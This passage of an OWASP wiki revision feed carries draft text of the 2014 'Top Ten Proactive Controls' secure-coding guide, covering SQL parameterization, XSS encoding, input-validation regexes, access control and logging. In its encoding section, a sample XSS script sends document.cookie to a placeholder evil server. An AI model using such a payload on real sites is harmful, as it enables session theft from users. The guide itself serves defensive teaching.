&lt;br /&gt;
* Identifying security incidents&lt;br /&gt;
* Monitoring policy violations&lt;br /&gt;
* Establishing baselines&lt;br /&gt;
* Providing information about problems and unusual conditions&lt;br /&gt;
* Contributing additional application-specific data for incident investigation which is lacking in other log sources&lt;br /&gt;
* Helping defend against vulnerability identification and exploitation through attack detection&lt;br /&gt;
&lt;br /&gt;
Application logging might also be used to record other types of events too such as:&lt;br /&gt;
&lt;br /&gt;
* Security events&lt;br /&gt;
* Business process monitoring e.g. sales process abandonment, transactions, connections&lt;br /&gt;
* Audit trails e.g. data addition, modification and deletion, data exports&lt;br /&gt;
* Performance monitoring e.g. data load time, page timeouts&lt;br /&gt;
* Compliance monitoring&lt;br /&gt;
* Data for subsequent requests for information e.g. data subject access, freedom of information, litigation, police and other regulatory investigations&lt;br /&gt;
* Legally sanctioned interception of data e.g application-layer wire-tapping&lt;br /&gt;
* Other business-specific requirements&lt;br /&gt;
&lt;br /&gt;
Process monitoring, audit and transaction logs/trails etc are usually collected for different purposes than security event logging, and this often means they should be kept separate. The types of events and details collected will tend to be different. For example a PCIDSS audit log will contain a chronological record of activities to provide an independently verifiable trail that permits reconstruction, review and examination to determine the original sequence of attributable transactions. It is important not to log too much, or too little. Use knowledge of the intended purposes to guide what, when and how much.&lt;br /&gt;
&lt;br /&gt;
For more information, please see the [[Logging Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
The AppSensor project defines a conceptual framework and methodology that offers prescriptive guidance to implement intrusion detection and automated response into an existing application. For more information please see the [[OWASP AppSensor Project]].&lt;br /&gt;
&lt;br /&gt;
TODO: Log Injection&lt;br /&gt;
&lt;br /&gt;
JIM BIRD: Talks about logging of “security events” but doesn’t explain or give examples of what a security event is. Reminder to obey privacy/confidentiality requirements – do not log private/confidential information Maybe should include something brief about protection from log injection (reminder to perform validation/encoding on user input fields that are logged)&lt;br /&gt;
&lt;br /&gt;
== 8) Leverage Security Features of Frameworks and Security Libraries ==&lt;br /&gt;
&lt;br /&gt;
Starting from scratch when it comes to developing security controls for every web application, web service or mobile application leads to wasted time and massive security holes. Secure coding libraries help software developers guard against security-related design and implementation flaws.&lt;br /&gt;
&lt;br /&gt;
When possible, the emphasis should be on using the existing features of frameworks rather than importing third party libraries. It is preferable to have developers take advantage of what they're already using instead of foisting yet another library on them. Web application security frameworks to consider include:&lt;br /&gt;
&lt;br /&gt;
* Spring Security : [http://static.springsource.org/spring-security/site/index.html]&lt;br /&gt;
* Apache Shiro : [http://shiro.apache.org/ http://shiro.apache.org/]&lt;br /&gt;
* OWASP ESAPI : [https://www.owasp.org/index.php/Category:OWASP_Enterprise_Security_API https://www.owasp.org/index.php/Category:OWASP_Enterprise_Security_API]&lt;br /&gt;
&lt;br /&gt;
It is critical to keep these frameworks and libraries up to date as described in the [https://www.owasp.org/index.php/Top_10_2013-A9-Using_Components_with_Known_Vulnerabilities &amp;lt;i&amp;gt;using components with known vulnerabilities&amp;lt;/i&amp;gt; Top Ten 2013 risk].&lt;br /&gt;
&lt;br /&gt;
== 9) Security in Requirements ==&lt;br /&gt;
&lt;br /&gt;
There are three basic categories of security requirements that can be defined early-on in a software development project.  These include:&lt;br /&gt;
&lt;br /&gt;
1) '''Security Features and Functions''': the visible application security controls for the system, including authentication, access control and auditing functions. These requirements are often defined by use-cases which include input, behavior and output, and can be tested for functional correctness by Q/A staff.  Functional requirements like re-authentication during change password or a forgot password feature can be reviewed and tested by Q/A staff. &lt;br /&gt;
&lt;br /&gt;
2) '''Business Logic Abuse Cases''':  Business logic features are often multi-step multi-branch workflows that are difficult to evaluate thoroughly, for example eCommerce workflows, shipping route choices, or banking transfer validation. The stories or use cases for these requirements should include failure scenarios (what happens if a step fails or times out or if someone accidentally repeats a step?) and requirements derived from &amp;quot;abuse-cases&amp;quot;.  Abuse cases describe how the application's functions could be subverted by attackers. Thinking about failures and attack scenarios will uncover weaknesses that need to be addressed to improve the reliability and security of the application.&lt;br /&gt;
&lt;br /&gt;
3) '''Data Classification and Privacy Requirements''': developers must be aware of what personal and confidential information needs to be protected and tracked. This will drive the need for access control, encryption and auditing and logging controls in the system.&lt;br /&gt;
&lt;br /&gt;
== 10) Security in Architecture and Design ==&lt;br /&gt;
&lt;br /&gt;
Security needs to be considered in the architecture and design of the application.&lt;br /&gt;
&lt;br /&gt;
1) '''Know your Tools''': Your choice of language(s) and platform (O/S, web server, messaging, database or NOSQL data manager) will result in technology-specific security risks and considerations that the development team needs to understand and manage.&lt;br /&gt;
&lt;br /&gt;
2) '''Tiering, Trust and Dependencies''': Another important part of secure architecture and design is tiering and trust. Deciding what controls should be enforced in the client, the web layer, the business layer, the data layer, and where you need to establish trust between different systems or different parts of the same system. Understand these trust boundaries: what is inside or outside of a trust boundary, what actors or data can be trusted, what should not be? This determines where you need to make decisions about authentication, access control, data validation and encoding, encryption and logging.&lt;br /&gt;
&lt;br /&gt;
3) '''Understand the Attack Surface''': Be aware of the system's Attack Surface, the ways that attackers can get in, or get data out, of the system. Recognize when you are increasing the Attack Surface, and use this to drive risk assessments (whether you should do threat modeling or plan for additional testing). Are you introducing a new API or changing a high-risk security function of the system, or are you simply adding a new field to an existing page or file?&lt;br /&gt;
&lt;br /&gt;
For more information, see the [[Attack Surface Analysis Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
= Project Roadmap =&lt;br /&gt;
&lt;br /&gt;
Welcome to the OWASP Top 10 Proactive Controls Project! This project is the comprehensive reference for all OWASP projects and application security in general. All of the materials here are free and open source. &lt;br /&gt;
&lt;br /&gt;
== Status ==&lt;br /&gt;
&lt;br /&gt;
February 3, 2014: We are currently working towards a beta release of this document and have begun working with a designer for the final release PDF.&lt;br /&gt;
&lt;br /&gt;
= Who are we? =&lt;br /&gt;
&lt;br /&gt;
Jim Manico jim@owasp.org&amp;lt;br/&amp;gt;&lt;br /&gt;
Andrew Van Der Stock vanderaj@owasp.org&amp;lt;br/&amp;gt;&lt;br /&gt;
Stephen de Vries stephen@continuumsecurity.net&amp;lt;br/&amp;gt;&lt;br /&gt;
Jim Bird jimbird@shaw.ca&amp;lt;br/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= About =&lt;br /&gt;
{{:Projects/OWASP_Proactive_Controls}} &lt;br /&gt;
&lt;br /&gt;
__NOTOC__ &amp;lt;headertabs /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP_Project|OWASP Proactive Controls]]&lt;/div&gt;</summary>
		<author><name>Jim Bird</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_Proactive_Controls&amp;diff=169950</id>
		<title>OWASP Proactive Controls</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_Proactive_Controls&amp;diff=169950"/>
				<updated>2014-03-11T19:49:34Z</updated>
		
		<summary type="html">&lt;p&gt;Jim Bird: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Main = &lt;br /&gt;
&amp;lt;div style=&amp;quot;width:100%;height:160px;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File:OWASP_Project_Header.jpg|link=]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;padding: 0;margin:0;margin-top:10px;text-align:left;&amp;quot; |-&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
== OWASP Proactive Controls ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;center&amp;gt;[[Image:Proactive.png‎|500px|frameless|architecture]]&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
As software developers author the code that makes up a web application, they need to do so in a secure manner. All tiers of a web application, the user interface, the business logic, the controller, the database code and more – all need to be developed with security in mind. This can be a very difficult task and developers are often set up for failure. Most developers did not learn about secure coding or crypto in school. The languages and frameworks that developers use to build web applications are often lacking critical core controls or are insecure by default in some way. There may be inherent flaws in requirements and designs. It is also very rare when organizations provide developers with prescriptive requirements that guide them down the path of secure software. When it comes to web security, developers are often set up to lose the security game. &lt;br /&gt;
&lt;br /&gt;
This document was written by developers for developers, to assist those new to secure development.  It aims to guide developers and other software development professionals down the path of secure web application software development.&lt;br /&gt;
&lt;br /&gt;
==Licensing==&lt;br /&gt;
The OWASP Proactive Controls document is free to use under the [https://creativecommons.org/licenses/by-sa/3.0/us/ Creative Commons ShareAlike 3 License].&lt;br /&gt;
&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;padding-left:25px;width:200px;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
== What is this? ==&lt;br /&gt;
&lt;br /&gt;
The OWASP Proactive Controls&lt;br /&gt;
&lt;br /&gt;
* This document was written by developers for developers, to assist those new to secure development.&lt;br /&gt;
&lt;br /&gt;
== Email List ==&lt;br /&gt;
&lt;br /&gt;
[https://lists.owasp.org/mailman/listinfo/owasp_proactive_controls Project Email List ]&lt;br /&gt;
&lt;br /&gt;
== Project Leader ==&lt;br /&gt;
&lt;br /&gt;
Project Leaders:&amp;lt;br/&amp;gt;Jim Manico&amp;lt;br/&amp;gt;&lt;br /&gt;
Andrew Van Der Stock&amp;lt;br/&amp;gt;&lt;br /&gt;
Jim Bird&amp;lt;br/&amp;gt;&lt;br /&gt;
&amp;lt;br/&amp;gt;&lt;br /&gt;
Contributors: &amp;lt;br/&amp;gt;&lt;br /&gt;
Stephen de Vries&lt;br /&gt;
&lt;br /&gt;
== Related Projects ==&lt;br /&gt;
&lt;br /&gt;
* [[OWASP Top Ten Project]]&lt;br /&gt;
* [[Cheat Sheets]]&lt;br /&gt;
&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;padding-left:25px;width:200px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
== News and Events ==&lt;br /&gt;
* [Feb 4 2014] New Wiki Template!&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Classifications==&lt;br /&gt;
&lt;br /&gt;
   {| width=&amp;quot;200&amp;quot; cellpadding=&amp;quot;2&amp;quot;&lt;br /&gt;
   |-&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot; rowspan=&amp;quot;2&amp;quot;| [[File:Owasp-incubator-trans-85.png|link=https://www.owasp.org/index.php/OWASP_Project_Stages#tab=Incubator_Projects]]&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot;| [[File:Owasp-builders-small.png|link=]]  &lt;br /&gt;
   |-&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot;| [[File:Owasp-defenders-small.png|link=]]&lt;br /&gt;
   |-&lt;br /&gt;
   | colspan=&amp;quot;2&amp;quot; align=&amp;quot;center&amp;quot;  | [https://creativecommons.org/licenses/by-sa/3.0/us/ CC BY-SA 3.0 US]&lt;br /&gt;
   |-&lt;br /&gt;
   | colspan=&amp;quot;2&amp;quot; align=&amp;quot;center&amp;quot;  | [[File:Project_Type_Files_DOC.jpg|link=]]&lt;br /&gt;
   |}&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
= OWASP Top Ten Proactive Controls =&lt;br /&gt;
&lt;br /&gt;
As software developers author the code that makes up a web application, they need to do so in a secure manner. All tiers of a web application, the user interface, the business logic, the controller, the database code and more – all need to be developed with security in mind. This can be a very difficult task and developers are often set up for failure. Most developers did not learn about secure coding or crypto in school. The languages and frameworks that developers use to build web applications are often lacking critical core controls or are insecure by default in some way. There may be inherent flaws in requirements and designs. It is also very rare when organizations provide developers with prescriptive requirements that guide them down the path of secure software. When it comes to web security, developers are often set up to lose the security game. &lt;br /&gt;
&lt;br /&gt;
This document was written by developers for developers, to assist those new to secure development.  It aims to guide developers and other software development professionals down the path of secure web application software development.&lt;br /&gt;
&lt;br /&gt;
There are more than 10 issues that developers need to be aware of.  Some of these “top ten” controls will be very specific, others will be general categories. Some of these items are technical, others are process based. Some may argue that this document includes items that are not even controls at all. All of these concerns are fair. Again, this is an awareness document meant for those new to secure software development. It is a start, not an end.&lt;br /&gt;
 &lt;br /&gt;
The number of people who influenced or contributed to this document in some way is to numerous to mentioned. I would like to especially thank Andrew van der Stock for starting this project. I would also like to thank the entire [[Cheat Sheets]] series team whose content has been pulled from liberally for this document.  &lt;br /&gt;
&lt;br /&gt;
Introducing the OWASP Top Ten and one half Proactive Controls 2014. &lt;br /&gt;
&lt;br /&gt;
== 1) Query Parameterization ==&lt;br /&gt;
&lt;br /&gt;
SQL Injection is perhaps one of the most dangerous web application risks due to the fact that SQL Injection is both easy to exploit and can deliver an impact to your application that is devastating.&lt;br /&gt;
&lt;br /&gt;
The simple insertion of malicious SQL code into your web application – and the entire database could potentially be stolen, wiped, modified. The web application can even be used to run dangerous operating system commands against the operating system hosting your database.   &lt;br /&gt;
&lt;br /&gt;
To stop SQL injection, developers must prevent untrusted input from being interpreted as part of a SQL command. The best way to do this is with the programming technique known as Query Parameterization.&lt;br /&gt;
&lt;br /&gt;
Here is an example of query parameterization  Parameterization  in Java:&lt;br /&gt;
&lt;br /&gt;
 String newName = request.getParameter(&amp;quot;newName&amp;quot;);&lt;br /&gt;
 String id = request.getParameter(&amp;quot;id&amp;quot;);&lt;br /&gt;
 PreparedStatement pstmt = con.prepareStatement(&amp;quot;UPDATE EMPLOYEES SET NAME = ? WHERE ID = ?&amp;quot;);  &lt;br /&gt;
 pstmt.setString(1, newName); &lt;br /&gt;
 pstmt.setString(2, id);&lt;br /&gt;
&lt;br /&gt;
Here is an example of query parameterization in PHP:&lt;br /&gt;
&lt;br /&gt;
 $email  = $_REQUEST[‘email’];&lt;br /&gt;
 $ id’= $_REQUEST[‘id’];&lt;br /&gt;
 $stmt = $dbh-&amp;gt;prepare(”update users set email=:new_email where id=:user_id”); &lt;br /&gt;
 $stmt-&amp;gt;bindParam(':new_email', $email);&lt;br /&gt;
 $stmt-&amp;gt;bindParam(':user_id', $id);&lt;br /&gt;
&lt;br /&gt;
For more information, please see the [[Query Parameterization Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
== 2) Encoding ==&lt;br /&gt;
&lt;br /&gt;
A key component of a web application is the user interface. Web developers often build web pages dynamically, consisting of database data that was originally populated with user input. This input should often be considered to be untrusted data and dangerous, which requires special handling when building a secure web application.&lt;br /&gt;
&lt;br /&gt;
Cross Site Scripting (XSS) or, to give it its proper definition, JavaScript injection, occurs when an attacker tricks your users into executing malicious JavaScript that was not originally built into your website.  XSS attacks execute in users browsers and can have a wide variety of effects. &lt;br /&gt;
&lt;br /&gt;
For example:&lt;br /&gt;
&lt;br /&gt;
XSS site defacement:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;script&amp;gt;document.body.innerHTML(“Jim was here”);&amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
XSS session theft:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;script&amp;gt;&lt;br /&gt;
 var img = new Image();&lt;br /&gt;
 img.src=&amp;amp;quot;hxxp://&amp;lt;some evil server&amp;gt;.com?” + document.cookie;&lt;br /&gt;
 &amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Persistent XSS (or Stored XSS) occurs when an XSS attack can be embedded in a website database or filesystem.  This flavor of XSS is more dangerous because users will already be logged into the site when the attack is executed. &lt;br /&gt;
&lt;br /&gt;
Reflected XSS occurs when the attacker places an XSS attack at the end of a URL and tricks a victim into visiting that URL. When a victim visits this URL, the XSS attack is launched.  This type of XSS is less dangerous since the victim needs to be tricked into visiting the dangerous link and must already be logged into the site.&lt;br /&gt;
&lt;br /&gt;
Contextual output encoding/escaping is a crucial programming technique needed to stop XSS. This is performed on output, when you’re building a user interface, at the last moment before untrusted data is dynamically added to HTML.&lt;br /&gt;
&lt;br /&gt;
For more information on stopping XSS in your web application, please visit the OWASP Cross Site Scripting Prevention Cheat Sheet. https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet&lt;br /&gt;
&lt;br /&gt;
== 3) Validation ==&lt;br /&gt;
&lt;br /&gt;
One of the most important ways to build a secure web application is to limit what input a user is allowed to submit to your web application. Limiting user input is a technique called “input validation”. Input validation is most often built into web applications in server-side code using regular expressions. Regular expressions are a kind of code syntax that can help tell if a string matches a certain pattern. Secure programmers can use regular expressions to help define what good user input should look like.&lt;br /&gt;
	&lt;br /&gt;
There are two types on input validation: “White list validation and blacklist validation”. White list validation seeks to define what good input should look like.  Any input that does not meet this “good input” definition should be rejected. “Black list” validation seeks to detect known attacks and only reject those attacks or bad characters. “Black list” validation is much more difficult to build into your applications effectively and is not often suggested when initially building a secure web application. The following examples will focus on whitelist validation examples.&lt;br /&gt;
&lt;br /&gt;
When a user first registers for an account with our web application, some of the first things we ask a user to provide for us would be a username, password and email address. If this input came from a malicious user, the input could contain dangerous attacks that could harm our web application! One of the ways we can make attacking this web application more difficult is to use regular expressions to validate the user input from this form.&lt;br /&gt;
&lt;br /&gt;
Also, it's critical to treat all client side data as untrusted. (we need to expand on this)&lt;br /&gt;
&lt;br /&gt;
Let’s start with the following regular expression for the username. &lt;br /&gt;
&lt;br /&gt;
 ^[a-z0-9_]{3,16}$&lt;br /&gt;
&lt;br /&gt;
This regular expression input validation whitelist of good characters only allows lowercase letters, numbers and the underscore character. The size of the username is also being limited to 3-16 characters in this example. &lt;br /&gt;
&lt;br /&gt;
Here is an example regular expression for the password field.&lt;br /&gt;
&lt;br /&gt;
 ^(?=.*[a-z])(?=.*[A-Z]) (?=.*\d) (?=.*[@#$%]).{10,64}$&lt;br /&gt;
&lt;br /&gt;
This regular expression ensures that a password is 10 to 64 characters in length and includes a uppercase letter, a lowercase letter, a number and a special character (one or more uses of @, #, $, or %).&lt;br /&gt;
&lt;br /&gt;
Here is an example regular expression for an email address (per the HTML5 specification http://www.w3.org/TR/html5/forms.html#valid-e-mail-address).&lt;br /&gt;
&lt;br /&gt;
 ^[a-zA-Z0-9.!#$%&amp;amp;'*+/=?^_`{|}~-]+@[a-zA-Z0-9-]+(?:\.[a-zA-Z0-9-]+)*$&lt;br /&gt;
&lt;br /&gt;
There are special cases for validation where regular expressions are not enough. If your application handles markup -- untrusted input that is supposed to contain HTML -- it can be very difficult to validate. Encoding is also difficult, since it would break all the tags that are supposed to be in the input. Therefore, you need a library that can parse and clean HTML formatted text such as the [[OWASP Java HTML Sanitizer]]. A regular expression is not the right tool to parse and sanitize untrusted HTML.&lt;br /&gt;
&lt;br /&gt;
Here we illustrate one of the unfortunate truisms about input validation: input validation does not necessarily make untrusted input “safe” especially when dealing with “open text input” where complete sentences from users need to be accepted.&lt;br /&gt;
&lt;br /&gt;
== 4) Access Control TODO JMANICO ==&lt;br /&gt;
&lt;br /&gt;
Authorization (Access Control) is the process where requests to access a particular resource should be granted or denied. It should be noted that authorization is not equivalent to authentication. These terms and their definitions are frequently confused.&lt;br /&gt;
&lt;br /&gt;
=== Access Control Issues===&lt;br /&gt;
&lt;br /&gt;
* Many applications used the &amp;quot;All or Nothing&amp;quot; approach - Once authenticated, all users have equal privileges&lt;br /&gt;
* Authorization Logic often relies on Security by Obscurity (STO) by assuming:&lt;br /&gt;
* Users will not find unlinked or hidden paths or functionality&lt;br /&gt;
* Users will not find and tamper with &amp;quot;obscured&amp;quot; client side parameters (i.e. &amp;quot;hidden&amp;quot; form fields, cookies, etc.)&lt;br /&gt;
* Applications with multiple permission levels/roles often increases the possibility of conflicting permission sets resulting in unanticipated privileges&lt;br /&gt;
* Many administrative interfaces require only a password for authentication&lt;br /&gt;
* Shared accounts combined with a lack of auditing and logging make it extremely difficult to differentiate between malicious and honest administrators&lt;br /&gt;
* Administrative interfaces are often not designed as “secure” as user-level interfaces given the assumption that administrators are trusted users&lt;br /&gt;
* Authorization/Access Control relies on client-side information (e.g., hidden fields)&lt;br /&gt;
* Web and application server processes run as root, Administrator, LOCALSYSTEM or other privileged accounts&lt;br /&gt;
* Some web applications access the database via sa or other administrative account (or more privileges than required)&lt;br /&gt;
* Some applications implement authorization controls by including a file or web control or code snippet on every page in the application&lt;br /&gt;
    &amp;lt;input type=&amp;quot;text&amp;quot; name=&amp;quot;fname&amp;quot; value=&amp;quot;Derek&amp;quot;&amp;gt;&lt;br /&gt;
    &amp;lt;input type=&amp;quot;text&amp;quot; name=&amp;quot;lname&amp;quot; value=&amp;quot;Jeter&amp;quot;&amp;gt;&lt;br /&gt;
    &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;usertype&amp;quot; value=&amp;quot;admin&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Access Control Anti-Patterns ===&lt;br /&gt;
&lt;br /&gt;
* Hard-coded role checks in application code&lt;br /&gt;
* Lack of centralized access control logic&lt;br /&gt;
* Untrusted data driving access control decisions&lt;br /&gt;
* Access control that is &amp;quot;open by default&amp;quot;&lt;br /&gt;
* Lack of addressing horizontal access control in a standardized way (if at all)&lt;br /&gt;
* Access control logic that needs to be manually added to every endpoint in code&lt;br /&gt;
* non-anonymous entry point DO NOT have an access control check&lt;br /&gt;
* No authorization check at or near the beginning of code implementing sensitive activities&lt;br /&gt;
&lt;br /&gt;
For more information on access control, please see the [[Access Control Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
== 5) Identity and Authentication ==&lt;br /&gt;
&lt;br /&gt;
Authentication is the process of verification that an individual or an entity is who it claims to be. Authentication is commonly performed by submitting a user name or ID and one or more items of private information that only a given user should know.&lt;br /&gt;
&lt;br /&gt;
Session Management is a process by which a server maintains the state of an entity interacting with it. This is required for a server to remember how to react to subsequent requests throughout a transaction. Sessions are maintained on the server by a session identifier which can be passed back and forward between the client and server when transmitting and receiving requests. Sessions should be unique per user and computationally very difficult to predict.&lt;br /&gt;
&lt;br /&gt;
Identity management is a broader topic that not only includes authentication and session management, but also covers advanced topics like identity federation, single sign on, password-management tools, identity repositories and more.&lt;br /&gt;
&lt;br /&gt;
For more information, please see the [[Authentication Cheat Sheet]], the [[Password Storage Cheat Sheet]], the [[Forgot Password Cheat Sheet]] and the [[Session Management Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
== 6) Data Protection and Privacy ==&lt;br /&gt;
&lt;br /&gt;
=== Encryption in Transit ===&lt;br /&gt;
&lt;br /&gt;
When transmitting sensitive data, at any tier of your application or network architecture, encryption-in-transit of some kind should be considered. SSL/TLS is by far the most common and widely supported model used by web applications for encryption in transit. &lt;br /&gt;
&lt;br /&gt;
For more information on proper SSL/TLS configuration, please see the [[Transport Layer Protection Cheat Sheet]]. For information on protecting your users from man in the middle attacks via fraudulent SSL certificates, please see the [[Pinning Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
=== Encryption at Rest TODO JMANICO===&lt;br /&gt;
&lt;br /&gt;
#1 forced to encrypt data via standards like PCI&lt;br /&gt;
#2 doing low level crypto by hand leads to bad crypto&lt;br /&gt;
#3 user well vetted libraries like KeyCzar&lt;br /&gt;
#4 key management a bear&lt;br /&gt;
#5 tiering and trust - crypto services vs embedding crypto at the app layer&lt;br /&gt;
#6 symmetric/asymmetric encryption&lt;br /&gt;
#7 weirdness of password strorage crypto (punt to the CS)&lt;br /&gt;
#8 digital signatures&lt;br /&gt;
#9 it's also important to ensure sensitive data is not cached in the browser. cache-control settings?&lt;br /&gt;
#10 For more information on low level decisions necessary when encrypting data at rest, please see the [[Cryptographic Storage Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
=== Protection in Process ===&lt;br /&gt;
&lt;br /&gt;
Data can be exposed during processing. It may be more accessible in memory; it may be stored in temporary locations or in logs.&lt;br /&gt;
&lt;br /&gt;
== 7) Logging, Error Handling and Intrusion Detection TODO JIMBIRD ==&lt;br /&gt;
&lt;br /&gt;
Application logging should be consistent within the application, consistent across an organization's application portfolio and use industry standards where relevant, so the logged event data can be consumed, correlated, analyzed and managed by a wide variety of systems.&lt;br /&gt;
&lt;br /&gt;
Application logging should be always be included for security events. Application logs are invaluable data for:&lt;br /&gt;
&lt;br /&gt;
* Identifying security incidents&lt;br /&gt;
* Monitoring policy violations&lt;br /&gt;
* Establishing baselines&lt;br /&gt;
* Providing information about problems and unusual conditions&lt;br /&gt;
* Contributing additional application-specific data for incident investigation which is lacking in other log sources&lt;br /&gt;
* Helping defend against vulnerability identification and exploitation through attack detection&lt;br /&gt;
&lt;br /&gt;
Application logging might also be used to record other types of events too such as:&lt;br /&gt;
&lt;br /&gt;
* Security events&lt;br /&gt;
* Business process monitoring e.g. sales process abandonment, transactions, connections&lt;br /&gt;
* Audit trails e.g. data addition, modification and deletion, data exports&lt;br /&gt;
* Performance monitoring e.g. data load time, page timeouts&lt;br /&gt;
* Compliance monitoring&lt;br /&gt;
* Data for subsequent requests for information e.g. data subject access, freedom of information, litigation, police and other regulatory investigations&lt;br /&gt;
* Legally sanctioned interception of data e.g application-layer wire-tapping&lt;br /&gt;
* Other business-specific requirements&lt;br /&gt;
&lt;br /&gt;
Process monitoring, audit and transaction logs/trails etc are usually collected for different purposes than security event logging, and this often means they should be kept separate. The types of events and details collected will tend to be different. For example a PCIDSS audit log will contain a chronological record of activities to provide an independently verifiable trail that permits reconstruction, review and examination to determine the original sequence of attributable transactions. It is important not to log too much, or too little. Use knowledge of the intended purposes to guide what, when and how much.&lt;br /&gt;
&lt;br /&gt;
For more information, please see the [[Logging Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
The AppSensor project defines a conceptual framework and methodology that offers prescriptive guidance to implement intrusion detection and automated response into an existing application. For more information please see the [[OWASP AppSensor Project]].&lt;br /&gt;
&lt;br /&gt;
TODO: Log Injection&lt;br /&gt;
&lt;br /&gt;
JIM BIRD: Talks about logging of “security events” but doesn’t explain or give examples of what a security event is. Reminder to obey privacy/confidentiality requirements – do not log private/confidential information Maybe should include something brief about protection from log injection (reminder to perform validation/encoding on user input fields that are logged)&lt;br /&gt;
&lt;br /&gt;
== 8) Leverage Security Features of Frameworks and Security Libraries ==&lt;br /&gt;
&lt;br /&gt;
Starting from scratch when it comes to developing security controls for every web application, web service or mobile application leads to wasted time and massive security holes. Secure coding libraries help software developers guard against security-related design and implementation flaws.&lt;br /&gt;
&lt;br /&gt;
When possible, the emphasis should be on using the existing features of frameworks rather than importing third party libraries. It is preferable to have developers take advantage of what they're already using instead of foisting yet another library on them. Web application security frameworks to consider include:&lt;br /&gt;
&lt;br /&gt;
* Spring Security : [http://static.springsource.org/spring-security/site/index.html]&lt;br /&gt;
* Apache Shiro : [http://shiro.apache.org/ http://shiro.apache.org/]&lt;br /&gt;
* OWASP ESAPI : [https://www.owasp.org/index.php/Category:OWASP_Enterprise_Security_API https://www.owasp.org/index.php/Category:OWASP_Enterprise_Security_API]&lt;br /&gt;
&lt;br /&gt;
It is critical to keep these frameworks and libraries up to date as described in the [https://www.owasp.org/index.php/Top_10_2013-A9-Using_Components_with_Known_Vulnerabilities &amp;lt;i&amp;gt;using components with known vulnerabilities&amp;lt;/i&amp;gt; Top Ten 2013 risk].&lt;br /&gt;
&lt;br /&gt;
== 9) Security in Requirements ==&lt;br /&gt;
&lt;br /&gt;
There are three basic categories of security requirements that can be defined early-on in a software development project.  These include:&lt;br /&gt;
&lt;br /&gt;
1) '''Security Features and Functions''': the visible application security controls for the system, including authentication, access control and auditing functions. These requirements are often defined by use-cases which include input, behavior and output, and can be tested for functional correctness by Q/A staff.  Functional requirements like re-authentication during change password or a forgot password feature can be reviewed and tested by Q/A staff. &lt;br /&gt;
&lt;br /&gt;
2) '''Business Logic Abuse Cases''':  Business logic features are often multi-step multi-branch workflows that are difficult to evaluate thoroughly, for example eCommerce workflows, shipping route choices, or banking transfer validation. The stories or use cases for these requirements should include failure scenarios (what happens if a step fails or times out or if someone accidentally repeats a step?) and requirements derived from &amp;quot;abuse-cases&amp;quot;.  Abuse cases describe how the application's functions could be subverted by attackers. Thinking about failures and attack scenarios will uncover weaknesses that need to be addressed to improve the reliability and security of the application.&lt;br /&gt;
&lt;br /&gt;
3) '''Data Classification and Privacy Requirements''': developers must be aware of what personal and confidential information needs to be protected and tracked. This will drive the need for access control, encryption and auditing and logging controls in the system.&lt;br /&gt;
&lt;br /&gt;
== 10) Security in Architecture and Design ==&lt;br /&gt;
&lt;br /&gt;
Security needs to be considered in the architecture and design of the application.&lt;br /&gt;
&lt;br /&gt;
1) '''Know your Tools''': Your choice of language(s) and platform (O/S, web server, messaging, database or NOSQL data manager) will result in technology-specific security risks and considerations that the development team needs to understand and manage.&lt;br /&gt;
&lt;br /&gt;
2) '''Tiering, Trust and Dependencies''': Another important part of secure architecture and design is tiering and trust. Deciding what controls should be enforced in the client, the web layer, the business layer, the data layer, and where you need to establish trust between different systems or different parts of the same system. Understand these trust boundaries: what is inside or outside of a trust boundary, what actors or data can be trusted, what should not be? This determines where you need to make decisions about authentication, access control, data validation and encoding, encryption and logging.&lt;br /&gt;
&lt;br /&gt;
3) '''Understand the Attack Surface''': Be aware of the system's Attack Surface, the ways that attackers can get in, or get data out, of the system. Recognize when you are increasing the Attack Surface, and use this to drive risk assessments. &lt;br /&gt;
&lt;br /&gt;
For more information, see the [[Attack Surface Analysis Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= Project Roadmap =&lt;br /&gt;
&lt;br /&gt;
Welcome to the OWASP Top 10 Proactive Controls Project! This project is the comprehensive reference for all OWASP projects and application security in general. All of the materials here are free and open source. &lt;br /&gt;
&lt;br /&gt;
== Status ==&lt;br /&gt;
